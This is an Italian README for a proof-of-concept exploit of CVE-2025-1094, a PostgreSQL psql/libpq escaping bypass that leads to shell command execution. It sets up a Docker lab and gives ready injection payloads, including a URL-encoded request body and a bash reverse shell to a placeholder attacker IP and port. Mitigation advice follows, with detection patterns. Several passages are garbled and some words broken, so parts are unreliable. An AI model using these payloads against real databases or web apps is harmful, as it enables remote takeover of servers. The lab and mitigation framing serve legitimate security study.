
Exploit proof-of-concept per CVE-2025-1094, una SQL injection in PostgreSQL psql che porta a RCE tramite bypass di escaping libpq. Include ambiente Docker, script di exploit e indicazioni di mitigazione.
Proof of Concept per la vulnerabilità di SQL Injection critica nel client libpq di PostgreSQL e nello strumento psql
CVE-2025-1094 è una vulnerabilità critica nella libreria client libpq e nello strumento a riga di comando psql di PostgreSQL. Questa vulnerabilità consente a un attaccante di effettuare SQL Injection e di escalare a Remote Code Execution (RCE) anche quando l'applicazione utilizza funzioni standard di escaping delle stringhe come PQescapeLiteral.
L'errore deriva da una mancata coerenza nella gestione di sequenze di byte multibyte (multibyte) non valide (come UTF-8) tra la libreria di escaping e il parser di psql.
1. Bypass dell'Escaping
PQescapeLiteral viene ingannata da un "byte nuovo" (ad esempio 0xC0)') successivo come un unico carattere2. RCE tramite Meta-comandi
\! di psqlIl progetto è organizzato per simulare un ambiente reale in cui viene chiamata la funzione C libpq:
.
├── docker-compose.yml # Avvia PostgreSQL + Web App
├── exolit.py # Script di exploit - Attacco dall'esterno
├── README.md # Questo documento
└── app/
├── app.py # Flask Web App - Riceve input utente
├── Dockerfile # Crea immagine con codice vulnerabile
└── init_db.sql # Inizializza database
/search\!hax\xc0'; \! id; #
| Componente | Valore | Significato |
|---|---|---|
| Input dati | hax | Dati normali |
| Byte nuovo | \xc0 | Byte UTF-8 non valido - bypass dell'escaping |
| Apostrofo | ' | Apostrofo "nascosto" - supera il filtro |
| Fine SQL | ; | Termina l'istruzione SQL corrente |
| Meta-comando | \! | Comando speciale di psql - esce dalla shell del sistema operativo |
| Comando shell | id | Comando da eseguire (sostituibile con reverse shell) |
| Commento | # | Commento SQL - disabilita il resto |
1. Input utente: hax\xc0'; \! id; #
↓
2. PQescapeLiteral() non riconosce \xc0 + ' come attacco
↓
3. La stringa viene inviata a psql: hax\xc0'; \! id; #
↓
4. psql analizza: la sequenza \xc0 viene considerata fine stringa
↓
5. Il meta-comando \! viene attivato
↓
6. Il comando shell id viene eseguito con i permessi del container
docker-compose up -d
docker-compose ps
Assicurarsi che sia PostgreSQL che l'app Flask siano in esecuzione.
python exolit.py
Risultato atteso: Verranno visualizzate informazioni uid=0(root) ottenute dal server
docker-compose down
Inviare una richiesta POST a /search con il seguente body:
name=hax%c0%27;+\!+id+;+%23
%c0 = \xc0 (byte UTF-8 non valido)%27 = ' (apostrofo)%23 = # (cancelletto)+ = spaziohax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23
Nota: Sostituire <ip-hacker> e <port-hacker> con IP e porta della macchina attaccante
Aggiornare PostgreSQL alle versioni patchate:
| Versione | Versione sicura |
|---|---|
| 17.x | ≥ 17.3 |
| 16.x | ≥ 16.7 |
| 15.x | ≥ 15.11 |
| 14.x | ≥ 14.16 |
| 13.x | ≥ 13.19 |
Convalidare sempre che i dati di input siano UTF-8 validi prima di elaborarli:
def validate_utf8(data):
try:
data.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
Nella programmazione delle applicazioni, utilizzare le librerie driver ufficiali:
# ❌ NO: Usare subprocess con psql
subprocess.run(['psql', '-c', user_input])
# ✅ SÌ: Usare query parametrizzate con psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
rootrootImpostare regole per rilevare i pattern:
- Byte 0xC0, 0xC1 nel corpo della richiesta
- Meta-comando `\!` nell'input utente
- Stringhe come `; \!` o `' \!`
Link al file sorgente (Prima della patch) È possibile visualizzare il file src/interfaces/libpq/fe-exec.c nella versione 17.2 (versione ancora vulnerabile):
Visualizzare "La Patch" (The Patch) - Fondamentale per White-box Per capire perché si è verificato l'errore e come è stato corretto, il metodo migliore è visualizzare il Commit Diff (la differenza tra versione vulnerabile e patch).
Analisi della vulnerabilità : https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/